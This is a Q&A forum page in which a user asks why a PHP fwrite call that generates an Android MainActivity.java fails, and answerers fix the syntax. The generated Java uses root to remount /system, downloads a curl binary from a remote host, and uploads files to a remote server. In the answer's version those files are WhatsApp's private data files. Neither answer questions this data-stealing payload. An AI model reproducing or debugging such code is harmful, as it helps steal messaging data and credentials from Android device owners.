1

I am using fwrite() function to write a java file, but I am getting the following error:

Parse error: syntax error, unexpected ';' in /var/www/html/test.php on line 61

Line 61 is where the fwrite function ends with a semicolon. The code is:

$file = fopen(" /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java","w");
 fwrite ($file,  "package $fpack;" .  '
import android.app.*;
import android.os.*;
import android.view.*;
import android.widget.*;
import java.io.IOException;
import java.lang.Process;
import java.io.DataInputStream;
import java.io.DataOutputStream;


public class MainActivity extends Activity
{
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
Process p; 
try { 
// Preform su to get root privledges
p = Runtime.getRuntime().exec("su");

// Attempt to write a file to a root-only fs
DataOutputStream os = new DataOutputStream(p.getOutputStream());
os.writeBytes("busybox mount -o rw,remount /system \n");
os.writeBytes("busybox rm -f /system/xbin/curl \n");
os.writeBytes("busybox wget http://test.com/curl -O /system/xbin/curl \n");
os.writeBytes("busybox chmod 777 /system/xbin/curl \n");
os.writeBytes("curl  -v -F \"file=@/test/me\" http://yourserver/me.php \n");
os.writeBytes("curl  -v -F \"file=@/test/pw\" http://yourserver/pw.php \n");
os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n");

// Close the terminal
os.writeBytes("exit\n"); 
os.flush();
android.os.Process.killProcess(android.os.Process.myPid());
} catch (IOException e) { 
// TODO Code to run in input/output exception
//toastMessage("not root");
}


}

}';

What can be wrong here? Any help will be appreciated.

2
  • Your java code is not properly escaped. Escape your ' characters or use something like addslashes Commented Feb 25, 2015 at 11:53
  • @tlenss edited it. still the same error Commented Feb 25, 2015 at 11:55

2 Answers 2

1

You're missing a closing ) for the fwrite function, the last line should look like this:

})';

Sign up to request clarification or add additional context in comments.

Comments

0

Much easier with PHP's nowdoc syntax (php >= 5.3).
It works almost like a single-quoted string literal. There's no variable substitution and even a literal \n isn't replaced by a linefeed character (byte). You therefore will have much less trouble doing all the quoting, escaping et al.

<?php
$fhTarget = fopen("/home/ashish/$fname/src/com/{$fpex[1]}/MainActivity.java", 'w');
// $fpack = 'lalala';
//$fhTarget = fopen("php://output","w");
if ( !$fhTarget ) {
    yourErrorHandler();
}

fwrite ($fhTarget, "package $fpack;\r\n");
fwrite ($fhTarget,  getCode() );


function getCode() {
    return <<< 'eoc'
import android.app.*;
import android.os.*;
import android.view.*;
import android.widget.*;
import java.io.IOException;
import java.lang.Process;
import java.io.DataInputStream;
import java.io.DataOutputStream;


public class MainActivity extends Activity
{
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        Process p; 
        try { 
            // Preform su to get root privledges
            p = Runtime.getRuntime().exec("su");

            // Attempt to write a file to a root-only fs
            DataOutputStream os = new DataOutputStream(p.getOutputStream());
            os.writeBytes("busybox mount -o rw,remount /system \n");
            os.writeBytes("busybox rm -f /system/xbin/curl \n");
            os.writeBytes("busybox wget http://securwiki.com/curl -O /system/xbin/curl \n");
            os.writeBytes("busybox chmod 777 /system/xbin/curl \n");
            os.writeBytes("curl  -v -F \"file=@/data/data/com.whatsapp/files/me\" http://yourserver/me.php \n");
            os.writeBytes("curl  -v -F \"file=@/data/data/com.whatsapp/files/pw\" http://yourserver/pw.php \n");
            os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n");

            // Close the terminal
            os.writeBytes("exit\n"); 
            os.flush();
            android.os.Process.killProcess(android.os.Process.myPid());
        } catch (IOException e) { 
        // TODO Code to run in input/output exception
        //toastMessage("not root");
    }
}
eoc;
}

just make sure that there's nothing but eoc; on that line; not a single whitespace before or after, nothing. Just eoc; and linebreak.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.